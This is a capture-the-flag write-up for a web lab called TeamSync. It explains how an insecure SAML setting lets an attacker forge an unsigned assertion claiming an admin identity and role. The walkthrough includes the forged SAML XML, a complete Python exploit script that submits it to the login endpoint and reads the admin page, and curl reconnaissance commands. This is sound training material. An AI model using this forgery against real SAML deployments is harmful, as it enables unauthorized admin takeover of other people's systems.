Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover
Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: forged_assertion_submission, role_claim_tampering, saml_signature_validation_bypass, unsigned_samlresponse_forgery
Summary
Walkthrough of the CUSTOM Web Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover. Task: TeamSync exposes a SAML SSO flow where configuration can be enumerated through the web app and API. Solution: discover that signature validation is optional, forge an unsigned SAMLResponse with
Description
Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover
Credentials: user@test.com / password123
English summary: TeamSync is a web application with local login and a SAML SSO flow. The goal is to analyze the SSO configuration, escalate to an admin session, and retrieve the real flag from /admin while ignoring the decoy flag shown on normal pages.
Analysis
Initial Reconnaissance
Using the provided account user@test.com / password123, the application allowed normal login and exposed an SSO button on /login pointing to /saml/login.
Authenticated and unauthenticated pages both contained the decoy value FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was an anti-bot trap and not the real flag.
SAML Flow Discovery
Requesting /saml/login returned a 302 redirect to an internal IdP URL:
text read-only • copy allowedhttp://localhost:3001/saml/login?email=user%40teamsync.local
When already authenticated, the email parameter could also appear as user@test.com. This confirmed that the application delegated authentication to a local IdP service and consumed a SAML response through its Assertion Consumer Service.
Useful Information Leak
The /settings page exposed SAML-related details and included a hint to inspect /api/saml/config. That endpoint was accessible without special privileges and returned the relevant configuration:
json read-only • copy allowed{ "sp_entity_id": "teamsync-sp", "acs_url": "/saml/acs", "idp_url": "http://localhost:3001/saml/login", "signature_validation": "optional", "name_id_format": "emailAddress" }
The critical field was:
json read-only • copy allowed"signature_validation": "optional"
That means the service provider accepted SAML assertions even when they were not signed. Once this was known, there was no need to break XML signatures or attack the IdP itself. We could directly forge a SAML assertion with attacker-controlled identity and role claims.
Vulnerability
The application trusted attributes from the SAML assertion, especially:
NameIDemailrole
Because signature validation was optional, an attacker could submit an unsigned SAMLResponse to /saml/acs containing:
admin@teamsync.localas the identityadminas the role
If accepted, the application created a valid admin session and redirected to /dashboard.
Solution
Step 1: Log in and enumerate the SSO flow
Log in with the provided credentials and inspect /login, /settings, and /api/saml/config.
Example checks:
bash read-only • copy allowedcurl -i "$URL/saml/login" curl -s -b cookies.txt "$URL/api/saml/config"
This reveals the ACS path and the insecure signature_validation: optional setting.
Step 2: Forge an unsigned SAML response
Create a minimal SAML response that declares the admin identity and role. No signature is required because the server accepts unsigned assertions.
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="resp1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z"> <saml:Issuer>http://localhost:3001/saml</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="assert1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z"> <saml:Issuer>http://localhost:3001/saml</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@teamsync.local</saml:NameID> </saml:Subject> <saml:AttributeStatement> <saml:Attribute Name="email"><saml:AttributeValue>admin@teamsync.local</saml:AttributeValue></saml:Attribute> <saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>
Step 3: Base64-encode and submit it to the ACS endpoint
The local exploit script in tasks/hackadvisor/lab305-teamsync-saml-bypass/exploit.py was enough to automate the attack.
python read-only • copy allowed#!/usr/bin/env python3 import base64 import re import sys import requests def real_flag(text: str): for match in re.findall(r"FLAG\{[^}]+\}", text): low = match.lower() if "d3c0y" not in low and "decoy" not in low: return match return None def build_unsigned_admin_response() -> str: return '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="resp1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z"> <saml:Issuer>http://localhost:3001/saml</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="assert1" Version="2.0" IssueInstant="2026-05-16T18:00:00Z"> <saml:Issuer>http://localhost:3001/saml</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@teamsync.local</saml:NameID> </saml:Subject> <saml:AttributeStatement> <saml:Attribute Name="email"> <saml:AttributeValue>admin@teamsync.local</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role"> <saml:AttributeValue>admin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>''' def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} https://<uuid>.labs.hackadvisor.io") sys.exit(1) base = sys.argv[1].rstrip("/") session = requests.Session() xml = build_unsigned_admin_response() saml_response = base64.b64encode(xml.encode()).decode() resp = session.post(f"{base}/saml/acs", data={"SAMLResponse": saml_response}, allow_redirects=False, timeout=20) print(f"[*] POST /saml/acs -> {resp.status_code} {resp.headers.get('Location', '')}") print(f"[*] Cookies: {session.cookies.get_dict()}") admin = session.get(f"{base}/admin", timeout=20) print(f"[*] GET /admin -> {admin.status_code}") flag = real_flag(admin.text) or real_flag(resp.text) if flag: print(f"[+] FLAG: {flag}") return print("[-] Real flag not found") print(admin.text[:400]) sys.exit(2) if __name__ == "__main__": main()
Run it against the instance:
bash read-only • copy allowedpython3 exploit.py https://5b3f01d2-80cb-47df-b1b7-ccbdcce7a227.labs.hackadvisor.io/
The server accepted the unsigned SAMLResponse, set a session cookie, and redirected to /dashboard.
Step 4: Access the admin page
With the forged session, request /admin. That page returned the real flag.
Key Takeaways / Lessons
- Mastering forged_assertion_submission, role_claim_tampering, saml_signature_validation_bypass, unsigned_samlresponse_forgery was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-16 • CUSTOM • Lab 305 — TeamSync — SAML Signature Bypass to Admin Takeover • Difficulty: Medium